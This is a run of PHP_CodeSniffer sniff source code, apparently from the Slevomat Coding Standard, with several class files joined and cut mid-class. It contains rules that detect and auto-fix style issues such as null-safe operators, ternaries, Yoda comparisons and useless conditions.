TernaryOperatorHelper::getStartPointer($phpcsFile, $inlineThenPointer); $searchStartPointer = $ternaryOperatorStartPointer; do { $booleanOperatorPointer = TokenHelper::findNext($phpcsFile, Tokens::$booleanOperators, $searchStartPointer, $inlineThenPointer); if ($booleanOperatorPointer === null) { break; } $identicalPointer = TokenHelper::findNext( $phpcsFile, [T_IS_IDENTICAL, T_IS_NOT_IDENTICAL], $searchStartPointer, $booleanOperatorPointer, ); if ($identicalPointer === null) { return; } $pointerAfterIdentical = TokenHelper::findNextEffective($phpcsFile, $identicalPointer + 1); if ($tokens[$pointerAfterIdentical]['code'] !== T_NULL) { return; } $searchStartPointer = $booleanOperatorPointer + 1; } while (true); $pointerBeforeCondition = TokenHelper::findPreviousEffective($phpcsFile, $conditionStartPointer - 1); if (in_array($tokens[$pointerBeforeCondition]['code'], [T_BOOLEAN_AND, T_BOOLEAN_OR], true)) { $previousIdenticalPointer = TokenHelper::findPreviousLocal( $phpcsFile, [T_IS_IDENTICAL, T_IS_NOT_IDENTICAL], $pointerBeforeCondition, ); if ($previousIdenticalPointer !== null) { [$pointerBeforePreviousIdentical, $pointerAfterPreviousIdentical] = $this->getIdenticalData( $phpcsFile, $previousIdenticalPointer, ); [$previousIdentificatorStartPointer, $previousIdentificatorEndPointer] = $this->getConditionData( $phpcsFile, $pointerBeforePreviousIdentical, $pointerAfterPreviousIdentical, ); if ($previousIdentificatorStartPointer !== null && $previousIdentificatorEndPointer !== null) { $previousIdentificator = IdentificatorHelper::getContent( $phpcsFile, $previousIdentificatorStartPointer, $previousIdentificatorEndPointer, ); if (!self::areIdentificatorsCompatible($previousIdentificator, $identificator)) { return; } } } } $defaultInElse = $tokens[$identicalPointer]['code'] === T_IS_NOT_IDENTICAL; $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); $inlineElseEndPointer = TernaryOperatorHelper::getEndPointer($phpcsFile, $inlineThenPointer, $inlineElsePointer); if ($defaultInElse) { $nextIdentificatorPointers = $this->getNextIdentificator($phpcsFile, $inlineThenPointer); if ($nextIdentificatorPointers === null) { return; } [$nextIdentificatorStartPointer, $nextIdentificatorEndPointer] = $nextIdentificatorPointers; $nextIdentificator = IdentificatorHelper::getContent($phpcsFile, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer); if (!$this->areIdentificatorsCompatible($identificator, $nextIdentificator)) { return; } if (TokenHelper::findNextEffective($phpcsFile, $nextIdentificatorEndPointer + 1) !== $inlineElsePointer) { return; } $identificatorDifference = $this->getIdentificatorDifference( $phpcsFile, $identificator, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer, ); $firstPointerInElse = TokenHelper::findNextEffective($phpcsFile, $inlineElsePointer + 1); $defaultContent = TokenHelper::getContent($phpcsFile, $firstPointerInElse, $inlineElseEndPointer); $conditionEndPointer = $inlineElseEndPointer; } else { $nullPointer = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$nullPointer]['code'] !== T_NULL) { return; } if (TokenHelper::findNextEffective($phpcsFile, $nullPointer + 1) !== $inlineElsePointer) { return; } $nextIdentificatorPointers = $this->getNextIdentificator($phpcsFile, $inlineElsePointer); if ($nextIdentificatorPointers === null) { return; } [$nextIdentificatorStartPointer, $nextIdentificatorEndPointer] = $nextIdentificatorPointers; if ($nextIdentificatorEndPointer !== $inlineElseEndPointer) { return; } $nextIdentificator = IdentificatorHelper::getContent($phpcsFile, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer); if (!$this->areIdentificatorsCompatible($identificator, $nextIdentificator)) { return; } $identificatorDifference = $this->getIdentificatorDifference( $phpcsFile, $identificator, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer, ); $defaultContent = trim(TokenHelper::getContent($phpcsFile, $inlineThenPointer + 1, $inlineElsePointer - 1)); $conditionEndPointer = $nextIdentificatorEndPointer; } $fix = $phpcsFile->addFixableError('Operator ?-> is required.', $identicalPointer, self::CODE_REQUIRED_NULL_SAFE_OBJECT_OPERATOR); if (!$fix) { return; } $conditionContent = sprintf('%s?%s', $identificator, $identificatorDifference); if (strtolower($defaultContent) !== 'null') { $conditionContent .= sprintf(' ?? %s', $defaultContent); } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $conditionStartPointer, $conditionEndPointer, $conditionContent); $phpcsFile->fixer->endChangeset(); } private function checkNextCondition( File $phpcsFile, int $identicalPointer, int $conditionStartPointer, string $identificator, int $nextConditionBooleanPointer ): int { $nextIdentificatorPointers = $this->getNextIdentificator($phpcsFile, $nextConditionBooleanPointer); if ($nextIdentificatorPointers === null) { return $nextConditionBooleanPointer; } [$nextIdentificatorStartPointer, $nextIdentificatorEndPointer] = $nextIdentificatorPointers; $nextIdentificator = IdentificatorHelper::getContent($phpcsFile, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer); if (!$this->areIdentificatorsCompatible($identificator, $nextIdentificator)) { return $nextIdentificatorEndPointer; } $pointerAfterNexIdentificator = TokenHelper::findNextEffective($phpcsFile, $nextIdentificatorEndPointer + 1); $tokens = $phpcsFile->getTokens(); if ( $tokens[$pointerAfterNexIdentificator]['code'] !== $tokens[$identicalPointer]['code'] && !in_array($tokens[$pointerAfterNexIdentificator]['code'], [T_INLINE_THEN, T_SEMICOLON], true) ) { return $pointerAfterNexIdentificator; } if (!in_array($tokens[$pointerAfterNexIdentificator]['code'], [T_IS_IDENTICAL, T_IS_NOT_IDENTICAL], true)) { return $pointerAfterNexIdentificator; } $pointerAfterIdentical = TokenHelper::findNextEffective($phpcsFile, $pointerAfterNexIdentificator + 1); if ($tokens[$pointerAfterIdentical]['code'] !== T_NULL) { return $pointerAfterNexIdentificator; } $identificatorDifference = $this->getIdentificatorDifference( $phpcsFile, $identificator, $nextIdentificatorStartPointer, $nextIdentificatorEndPointer, ); $fix = $phpcsFile->addFixableError('Operator ?-> is required.', $identicalPointer, self::CODE_REQUIRED_NULL_SAFE_OBJECT_OPERATOR); if (!$fix) { return $pointerAfterNexIdentificator; } $isConditionOfTernaryOperator = TernaryOperatorHelper::isConditionOfTernaryOperator($phpcsFile, $identicalPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $conditionStartPointer, $nextIdentificatorEndPointer, sprintf('%s?%s', $identificator, $identificatorDifference), ); $phpcsFile->fixer->endChangeset(); if ($isConditionOfTernaryOperator) { return TokenHelper::findNext($phpcsFile, T_INLINE_THEN, $identicalPointer + 1); } return $pointerAfterNexIdentificator; } /** * @return array|null */ private function getNextIdentificator(File $phpcsFile, int $pointerBefore): ?array { /** @var int $nextIdentificatorStartPointer */ $nextIdentificatorStartPointer = TokenHelper::findNextEffective($phpcsFile, $pointerBefore + 1); $nextIdentificatorEndPointer = $this->findIdentificatorEnd($phpcsFile, $nextIdentificatorStartPointer); if ($nextIdentificatorEndPointer === null) { return null; } return [$nextIdentificatorStartPointer, $nextIdentificatorEndPointer]; } private function findIdentificatorStart(File $phpcsFile, int $identificatorEndPointer): ?int { $tokens = $phpcsFile->getTokens(); if ($tokens[$identificatorEndPointer]['code'] === T_CLOSE_PARENTHESIS) { $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective( $phpcsFile, $tokens[$identificatorEndPointer]['parenthesis_opener'] - 1, ); $identificatorStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $pointerBeforeParenthesisOpener); } else { $identificatorStartPointer = IdentificatorHelper::findStartPointer($phpcsFile, $identificatorEndPointer); } if ($identificatorStartPointer !== null) { $pointerBeforeIdentificatorStart = TokenHelper::findPreviousEffective($phpcsFile, $identificatorStartPointer - 1); if (in_array( $tokens[$pointerBeforeIdentificatorStart]['code'], [T_DOUBLE_COLON, T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true, )) { $pointerBeforeOperator = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeIdentificatorStart - 1); return $this->findIdentificatorStart($phpcsFile, $pointerBeforeOperator); } } return $identificatorStartPointer; } private function findIdentificatorEnd(File $phpcsFile, int $identificatorStartPointer): ?int { $tokens = $phpcsFile->getTokens(); $identificatorEndPointer = $tokens[$identificatorStartPointer]['code'] === T_STRING ? $identificatorStartPointer : IdentificatorHelper::findEndPointer($phpcsFile, $identificatorStartPointer); if ($identificatorEndPointer !== null) { $pointerAfterIdentificatorEnd = TokenHelper::findNextEffective($phpcsFile, $identificatorEndPointer + 1); if ($tokens[$pointerAfterIdentificatorEnd]['code'] === T_OPEN_PARENTHESIS) { $identificatorEndPointer = $tokens[$pointerAfterIdentificatorEnd]['parenthesis_closer']; $pointerAfterIdentificatorEnd = TokenHelper::findNextEffective($phpcsFile, $identificatorEndPointer + 1); } if (in_array( $tokens[$pointerAfterIdentificatorEnd]['code'], [T_DOUBLE_COLON, T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true, )) { $pointerAfterOperator = TokenHelper::findNextEffective($phpcsFile, $pointerAfterIdentificatorEnd + 1); return $this->findIdentificatorEnd($phpcsFile, $pointerAfterOperator); } } return $identificatorEndPointer; } private function areIdentificatorsCompatible(string $first, string $second): bool { /** @var list $firstParts */ $firstParts = preg_split(self::OPERATOR_REGEXP, $first, -1, PREG_SPLIT_DELIM_CAPTURE); /** @var list $secondParts */ $secondParts = preg_split(self::OPERATOR_REGEXP, $second, -1, PREG_SPLIT_DELIM_CAPTURE); $minPartsCount = min(count($firstParts), count($secondParts)); for ($i = 0; $i < $minPartsCount; $i++) { if ($firstParts[$i] === '?->' && $secondParts[$i] === '->') { continue; } if ($firstParts[$i] !== $secondParts[$i]) { return false; } } return array_key_exists($minPartsCount, $secondParts) && $secondParts[$minPartsCount] === '->'; } private function getIdentificatorDifference( File $phpcsFile, string $identificator, int $nextIdentificatorStartPointer, int $nextIdentificatorEndPointer ): string { $objectOperatorsCountInIdentificator = substr_count($identificator, '->'); $tokens = $phpcsFile->getTokens(); $objectOperatorsCountInNextIdentificator = 0; $differencePointer = $nextIdentificatorStartPointer; for ($i = $nextIdentificatorStartPointer; $i <= $nextIdentificatorEndPointer; $i++) { if (in_array($tokens[$i]['code'], [T_OBJECT_OPERATOR, T_NULLSAFE_OBJECT_OPERATOR], true)) { $objectOperatorsCountInNextIdentificator++; } if ($objectOperatorsCountInNextIdentificator > $objectOperatorsCountInIdentificator) { $differencePointer = $i; break; } } return TokenHelper::getContent($phpcsFile, $differencePointer, $nextIdentificatorEndPointer); } /** * @return array{0: int, 1: int} */ private function getIdenticalData(File $phpcsFile, int $identicalPointer): array { /** @var int $pointerBeforeIdentical */ $pointerBeforeIdentical = TokenHelper::findPreviousEffective($phpcsFile, $identicalPointer - 1); /** @var int $pointerAfterIdentical */ $pointerAfterIdentical = TokenHelper::findNextEffective($phpcsFile, $identicalPointer + 1); return [$pointerBeforeIdentical, $pointerAfterIdentical]; } /** * @return array{0: int|null, 1: int|null, 2: int|null} */ private function getConditionData(File $phpcsFile, int $pointerBeforeIdentical, int $pointerAfterIdentical): array { $tokens = $phpcsFile->getTokens(); $isYoda = $tokens[$pointerBeforeIdentical]['code'] === T_NULL; if ($isYoda) { $identificatorStartPointer = $pointerAfterIdentical; $identificatorEndPointer = $this->findIdentificatorEnd($phpcsFile, $identificatorStartPointer); $conditionStartPointer = $pointerBeforeIdentical; } else { $identificatorEndPointer = $pointerBeforeIdentical; $identificatorStartPointer = $this->findIdentificatorStart($phpcsFile, $identificatorEndPointer); $conditionStartPointer = $identificatorStartPointer; } return [$identificatorStartPointer, $identificatorEndPointer, $conditionStartPointer]; } } */ public function register(): array { return [ T_INLINE_THEN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $inlineThenPointer */ public function process(File $phpcsFile, $inlineThenPointer): void { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$nextPointer]['code'] === T_INLINE_ELSE) { return; } $conditionStartPointer = TernaryOperatorHelper::getStartPointer($phpcsFile, $inlineThenPointer); $inlineElsePointer = TernaryOperatorHelper::getElsePointer($phpcsFile, $inlineThenPointer); $inlineElseEndPointer = TernaryOperatorHelper::getEndPointer($phpcsFile, $inlineThenPointer, $inlineElsePointer); $thenContent = trim(TokenHelper::getContent($phpcsFile, $inlineThenPointer + 1, $inlineElsePointer - 1)); $elseContent = trim(TokenHelper::getContent($phpcsFile, $inlineElsePointer + 1, $inlineElseEndPointer)); $conditionEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $inlineThenPointer - 1); $condition = TokenHelper::getContent($phpcsFile, $conditionStartPointer, $conditionEndPointer); if ($tokens[$conditionStartPointer]['code'] === T_BOOLEAN_NOT) { if ($elseContent !== ltrim($condition, '!')) { return; } } else { if ($thenContent !== $condition) { return; } } $fix = $phpcsFile->addFixableError('Use short ternary operator.', $inlineThenPointer, self::CODE_REQUIRED_SHORT_TERNARY_OPERATOR); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); if ($tokens[$conditionStartPointer]['code'] === T_BOOLEAN_NOT) { FixerHelper::replace($phpcsFile, $conditionStartPointer, ''); FixerHelper::change($phpcsFile, $inlineThenPointer, $inlineElseEndPointer, sprintf('?: %s', $thenContent)); } else { FixerHelper::removeBetween($phpcsFile, $inlineThenPointer, $inlineElsePointer); } $phpcsFile->fixer->endChangeset(); } } maxLineLength = SniffSettingsHelper::normalizeInteger($this->maxLineLength); if ($this->shouldBeSkipped($phpcsFile, $controlStructurePointer)) { return; } $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = $tokens[$controlStructurePointer]['parenthesis_opener']; $parenthesisCloserPointer = $tokens[$controlStructurePointer]['parenthesis_closer']; if ($tokens[$parenthesisOpenerPointer]['line'] === $tokens[$parenthesisCloserPointer]['line']) { return; } if (TokenHelper::findNext( $phpcsFile, TokenHelper::INLINE_COMMENT_TOKEN_CODES, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null) { return; } $lineStart = $this->getLineStart($phpcsFile, $parenthesisOpenerPointer); $condition = $this->getCondition($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $lineEnd = $this->getLineEnd($phpcsFile, $parenthesisCloserPointer); $lineLength = strlen($lineStart . $condition . $lineEnd); $isSimpleCondition = TokenHelper::findNext( $phpcsFile, Tokens::$booleanOperators, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) === null; if (!$this->shouldReportError($lineLength, $isSimpleCondition)) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Condition of "%s" should be placed on a single line.', $this->getControlStructureName($phpcsFile, $controlStructurePointer), ), $controlStructurePointer, self::CODE_REQUIRED_SINGLE_LINE_CONDITION, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $parenthesisOpenerPointer, $condition); FixerHelper::removeBetween($phpcsFile, $parenthesisOpenerPointer, $parenthesisCloserPointer); $phpcsFile->fixer->endChangeset(); } private function shouldReportError(int $lineLength, bool $isSimpleCondition): bool { if ($this->maxLineLength === 0) { return true; } if ($lineLength <= $this->maxLineLength) { return true; } return $isSimpleCondition && $this->alwaysForSimpleConditions; } } */ public function register(): array { return [ T_IF, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $ifPointer */ public function process(File $phpcsFile, $ifPointer): void { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('scope_closer', $tokens[$ifPointer])) { // If without curly braces is not supported. return; } $elsePointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_closer'] + 1); if ($elsePointer === null || $tokens[$elsePointer]['code'] !== T_ELSE) { return; } if (!array_key_exists('scope_closer', $tokens[$elsePointer])) { // Else without curly braces is not supported. return; } if ( !$this->isCompatibleScope($phpcsFile, $tokens[$ifPointer]['scope_opener'], $tokens[$ifPointer]['scope_closer']) || !$this->isCompatibleScope($phpcsFile, $tokens[$elsePointer]['scope_opener'], $tokens[$elsePointer]['scope_closer']) ) { return; } /** @var int $firstPointerInIf */ $firstPointerInIf = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_opener'] + 1); /** @var int $firstPointerInElse */ $firstPointerInElse = TokenHelper::findNextEffective($phpcsFile, $tokens[$elsePointer]['scope_opener'] + 1); if ($tokens[$firstPointerInIf]['code'] === T_RETURN && $tokens[$firstPointerInElse]['code'] === T_RETURN) { $this->checkIfWithReturns($phpcsFile, $ifPointer, $elsePointer, $firstPointerInIf, $firstPointerInElse); return; } $this->checkIfWithAssignments($phpcsFile, $ifPointer, $elsePointer, $firstPointerInIf, $firstPointerInElse); } private function checkIfWithReturns(File $phpcsFile, int $ifPointer, int $elsePointer, int $returnInIf, int $returnInElse): void { $ifContainsComment = $this->containsComment($phpcsFile, $ifPointer); $elseContainsComment = $this->containsComment($phpcsFile, $elsePointer); $conditionContainsLogicalOperators = $this->containsLogicalOperators($phpcsFile, $ifPointer); $errorParameters = [ 'Use ternary operator.', $ifPointer, self::CODE_TERNARY_OPERATOR_NOT_USED, ]; if ($ifContainsComment || $elseContainsComment || $conditionContainsLogicalOperators) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } $tokens = $phpcsFile->getTokens(); $pointerAfterReturnInIf = TokenHelper::findNextEffective($phpcsFile, $returnInIf + 1); /** @var int $semicolonAfterReturnInIf */ $semicolonAfterReturnInIf = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $pointerAfterReturnInIf + 1); $pointerAfterReturnInElse = TokenHelper::findNextEffective($phpcsFile, $returnInElse + 1); $semicolonAfterReturnInElse = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $pointerAfterReturnInElse + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $ifPointer, 'return'); if ($ifPointer + 1 === $tokens[$ifPointer]['parenthesis_opener']) { FixerHelper::add($phpcsFile, $ifPointer, ' '); } FixerHelper::replace($phpcsFile, $tokens[$ifPointer]['parenthesis_opener'], ''); FixerHelper::replace($phpcsFile, $tokens[$ifPointer]['parenthesis_closer'], ' ? '); FixerHelper::removeBetween($phpcsFile, $tokens[$ifPointer]['parenthesis_closer'], $pointerAfterReturnInIf); FixerHelper::change($phpcsFile, $semicolonAfterReturnInIf, $pointerAfterReturnInElse - 1, ' : '); FixerHelper::removeBetweenIncluding($phpcsFile, $semicolonAfterReturnInElse + 1, $tokens[$elsePointer]['scope_closer']); $phpcsFile->fixer->endChangeset(); } private function checkIfWithAssignments( File $phpcsFile, int $ifPointer, int $elsePointer, int $firstPointerInIf, int $firstPointerInElse ): void { $tokens = $phpcsFile->getTokens(); $identificatorEndPointerInIf = IdentificatorHelper::findEndPointer($phpcsFile, $firstPointerInIf); $identificatorEndPointerInElse = IdentificatorHelper::findEndPointer($phpcsFile, $firstPointerInElse); if ($identificatorEndPointerInIf === null || $identificatorEndPointerInElse === null) { return; } $identificatorInIf = TokenHelper::getContent($phpcsFile, $firstPointerInIf, $identificatorEndPointerInIf); $identificatorInElse = TokenHelper::getContent($phpcsFile, $firstPointerInElse, $identificatorEndPointerInElse); if ($identificatorInIf !== $identificatorInElse) { return; } $assignmentPointerInIf = TokenHelper::findNextEffective($phpcsFile, $identificatorEndPointerInIf + 1); $assignmentPointerInElse = TokenHelper::findNextEffective($phpcsFile, $identificatorEndPointerInElse + 1); if ( $tokens[$assignmentPointerInIf]['code'] !== T_EQUAL || $tokens[$assignmentPointerInElse]['code'] !== T_EQUAL ) { return; } $pointerAfterAssignmentInIf = TokenHelper::findNextEffective($phpcsFile, $assignmentPointerInIf + 1); $pointerAfterAssignmentInElse = TokenHelper::findNextEffective($phpcsFile, $assignmentPointerInElse + 1); if ( $tokens[$pointerAfterAssignmentInIf]['code'] === T_BITWISE_AND || $tokens[$pointerAfterAssignmentInElse]['code'] === T_BITWISE_AND ) { return; } $ifContainsComment = $this->containsComment($phpcsFile, $ifPointer); $elseContainsComment = $this->containsComment($phpcsFile, $elsePointer); $conditionContainsLogicalOperators = $this->containsLogicalOperators($phpcsFile, $ifPointer); $errorParameters = [ 'Use ternary operator.', $ifPointer, self::CODE_TERNARY_OPERATOR_NOT_USED, ]; if ($ifContainsComment || $elseContainsComment || $conditionContainsLogicalOperators) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } /** @var int $semicolonAfterAssignmentInIf */ $semicolonAfterAssignmentInIf = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $pointerAfterAssignmentInIf + 1); $semicolonAfterAssignmentInElse = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $pointerAfterAssignmentInElse + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $ifPointer, $tokens[$ifPointer]['parenthesis_opener'], sprintf('%s = ', $identificatorInIf)); FixerHelper::change($phpcsFile, $tokens[$ifPointer]['parenthesis_closer'], $pointerAfterAssignmentInIf - 1, ' ? '); FixerHelper::change($phpcsFile, $semicolonAfterAssignmentInIf, $pointerAfterAssignmentInElse - 1, ' : '); FixerHelper::removeBetweenIncluding($phpcsFile, $semicolonAfterAssignmentInElse + 1, $tokens[$elsePointer]['scope_closer']); $phpcsFile->fixer->endChangeset(); } private function isCompatibleScope(File $phpcsFile, int $scopeOpenerPointer, int $scopeCloserPointer): bool { $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $scopeOpenerPointer + 1, $scopeCloserPointer); if ($semicolonPointer === null) { return false; } if (TokenHelper::findNext($phpcsFile, T_INLINE_THEN, $scopeOpenerPointer + 1, $semicolonPointer) !== null) { return false; } if ($this->ignoreMultiLine) { $firstContentPointer = TokenHelper::findNextEffective($phpcsFile, $scopeOpenerPointer + 1); if (TokenHelper::findNextContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $firstContentPointer + 1, $semicolonPointer, ) !== null) { return false; } } $pointerAfterSemicolon = TokenHelper::findNextEffective($phpcsFile, $semicolonPointer + 1); return $pointerAfterSemicolon === $scopeCloserPointer; } private function containsComment(File $phpcsFile, int $scopeOwnerPointer): bool { $tokens = $phpcsFile->getTokens(); return TokenHelper::findNext( $phpcsFile, Tokens::$commentTokens, $tokens[$scopeOwnerPointer]['scope_opener'] + 1, $tokens[$scopeOwnerPointer]['scope_closer'], ) !== null; } private function containsLogicalOperators(File $phpcsFile, int $scopeOwnerPointer): bool { $tokens = $phpcsFile->getTokens(); return TokenHelper::findNext( $phpcsFile, [T_LOGICAL_AND, T_LOGICAL_OR, T_LOGICAL_XOR], $tokens[$scopeOwnerPointer]['parenthesis_opener'] + 1, $tokens[$scopeOwnerPointer]['parenthesis_closer'], ) !== null; } } (Foo::BAR, BAR) * > (true, false, null, 1, 1.0, arrays, 'foo') */ class RequireYodaComparisonSniff implements Sniff { public const CODE_REQUIRED_YODA_COMPARISON = 'RequiredYodaComparison'; public bool $alwaysVariableOnRight = false; /** * @return array */ public function register(): array { return [ T_IS_IDENTICAL, T_IS_NOT_IDENTICAL, T_IS_EQUAL, T_IS_NOT_EQUAL, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $comparisonTokenPointer */ public function process(File $phpcsFile, $comparisonTokenPointer): void { $tokens = $phpcsFile->getTokens(); $leftSideTokens = YodaHelper::getLeftSideTokens($tokens, $comparisonTokenPointer); $rightSideTokens = YodaHelper::getRightSideTokens($tokens, $comparisonTokenPointer); $leftDynamism = YodaHelper::getDynamismForTokens($tokens, $leftSideTokens); $rightDynamism = YodaHelper::getDynamismForTokens($tokens, $rightSideTokens); if ($leftDynamism === null || $rightDynamism === null) { return; } if ($leftDynamism <= $rightDynamism) { return; } if (!$this->alwaysVariableOnRight && $leftDynamism >= 900 && $rightDynamism >= 900) { return; } $fix = $phpcsFile->addFixableError('Yoda comparison is required.', $comparisonTokenPointer, self::CODE_REQUIRED_YODA_COMPARISON); if (!$fix || count($leftSideTokens) === 0 || count($rightSideTokens) === 0) { return; } YodaHelper::fix($phpcsFile, $leftSideTokens, $rightSideTokens); } } */ public function register(): array { return [ T_IF, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $ifPointer */ public function process(File $phpcsFile, $ifPointer): void { $tokens = $phpcsFile->getTokens(); if (!array_key_exists('scope_closer', $tokens[$ifPointer])) { // If without curly braces is not supported. return; } $ifBooleanPointer = $this->findBooleanAfterReturnInScope($phpcsFile, $tokens[$ifPointer]['scope_opener']); if ($ifBooleanPointer === null) { return; } $newCondition = static fn (): string => strtolower($tokens[$ifBooleanPointer]['content']) === 'true' ? TokenHelper::getContent( $phpcsFile, $tokens[$ifPointer]['parenthesis_opener'] + 1, $tokens[$ifPointer]['parenthesis_closer'] - 1, ) : ConditionHelper::getNegativeCondition( $phpcsFile, $tokens[$ifPointer]['parenthesis_opener'] + 1, $tokens[$ifPointer]['parenthesis_closer'] - 1, ); $elsePointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_closer'] + 1); $errorParameters = [ 'Useless condition.', $ifPointer, self::CODE_USELESS_IF_CONDITION, ]; if ( $elsePointer !== null && $tokens[$elsePointer]['code'] === T_ELSE ) { if (!array_key_exists('scope_closer', $tokens[$elsePointer])) { // Else without curly braces is not supported. return; } $elseBooleanPointer = $this->findBooleanAfterReturnInScope($phpcsFile, $tokens[$elsePointer]['scope_opener']); if ($elseBooleanPointer === null) { return; } if (!$this->isFixable($phpcsFile, $ifPointer, $tokens[$elsePointer]['scope_closer'])) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $ifPointer, $tokens[$elsePointer]['scope_closer'], sprintf('return %s;', $newCondition())); $phpcsFile->fixer->endChangeset(); } else { $returnPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$ifPointer]['scope_closer'] + 1); if ($returnPointer === null) { return; } if ($tokens[$returnPointer]['code'] !== T_RETURN) { return; } $semicolonPointer = $this->findSemicolonAfterReturnWithBoolean($phpcsFile, $returnPointer); if ($semicolonPointer === null) { return; } if (!$this->isFixable($phpcsFile, $ifPointer, $semicolonPointer)) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $ifPointer, $semicolonPointer, sprintf('return %s;', $newCondition())); $phpcsFile->fixer->endChangeset(); } } private function isFixable(File $phpcsFile, int $ifPointer, int $endPointer): bool { $tokens = $phpcsFile->getTokens(); if (TokenHelper::findNext($phpcsFile, Tokens::$commentTokens, $ifPointer + 1, $endPointer) !== null) { return false; } if ($this->assumeAllConditionExpressionsAreAlreadyBoolean) { return true; } return ConditionHelper::conditionReturnsBoolean( $phpcsFile, $tokens[$ifPointer]['parenthesis_opener'] + 1, $tokens[$ifPointer]['parenthesis_closer'] - 1, ); } private function findBooleanAfterReturnInScope(File $phpcsFile, int $scopeOpenerPointer): ?int { $tokens = $phpcsFile->getTokens(); /** @var int $returnPointer */ $returnPointer = TokenHelper::findNextEffective($phpcsFile, $scopeOpenerPointer + 1); if ($tokens[$returnPointer]['code'] !== T_RETURN) { return null; } $booleanPointer = $this->findBooleanAfterReturn($phpcsFile, $returnPointer); if ($booleanPointer === null) { return null; } $semicolonPointer = TokenHelper::findNextEffective($phpcsFile, $booleanPointer + 1); if ($tokens[$semicolonPointer]['code'] !== T_SEMICOLON) { return null; } return $booleanPointer; } private function findBooleanAfterReturn(File $phpcsFile, int $returnPointer): ?int { $tokens = $phpcsFile->getTokens(); $booleanPointer = TokenHelper::findNextEffective($phpcsFile, $returnPointer + 1); if (in_array($tokens[$booleanPointer]['code'], [T_TRUE, T_FALSE], true)) { return $booleanPointer; } return null; } private function findSemicolonAfterReturnWithBoolean(File $phpcsFile, int $returnPointer): ?int { $tokens = $phpcsFile->getTokens(); $booleanPointer = $this->findBooleanAfterReturn($phpcsFile, $returnPointer); if ($booleanPointer === null) { return null; } $semicolonPointer = TokenHelper::findNextEffective($phpcsFile, $booleanPointer + 1); if ($tokens[$semicolonPointer]['code'] !== T_SEMICOLON) { return null; } return $semicolonPointer; } } */ public function register(): array { return [ T_INLINE_THEN, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $inlineThenPointer */ public function process(File $phpcsFile, $inlineThenPointer): void { $tokens = $phpcsFile->getTokens(); $pointerAfterInlineThen = TokenHelper::findNextEffective($phpcsFile, $inlineThenPointer + 1); if ($tokens[$pointerAfterInlineThen]['code'] === T_INLINE_ELSE) { $inlineElsePointer = $pointerAfterInlineThen; } else { if (!in_array($tokens[$pointerAfterInlineThen]['code'], [T_TRUE, T_FALSE], true)) { return; } $inlineElsePointer = TokenHelper::findNextEffective($phpcsFile, $pointerAfterInlineThen + 1); if ($tokens[$inlineElsePointer]['code'] !== T_INLINE_ELSE) { return; } } $pointerAfterInlineElse = TokenHelper::findNextEffective($phpcsFile, $inlineElsePointer + 1); if (!in_array($tokens[$pointerAfterInlineElse]['code'], [T_TRUE, T_FALSE], true)) { return; } $conditionStartPointer = TernaryOperatorHelper::getStartPointer($phpcsFile, $inlineThenPointer); /** @var int $conditionEndPointer */ $conditionEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $inlineThenPointer - 1); $errorParameters = [ 'Useless ternary operator.', $inlineThenPointer, self::CODE_USELESS_TERNARY_OPERATOR, ]; if 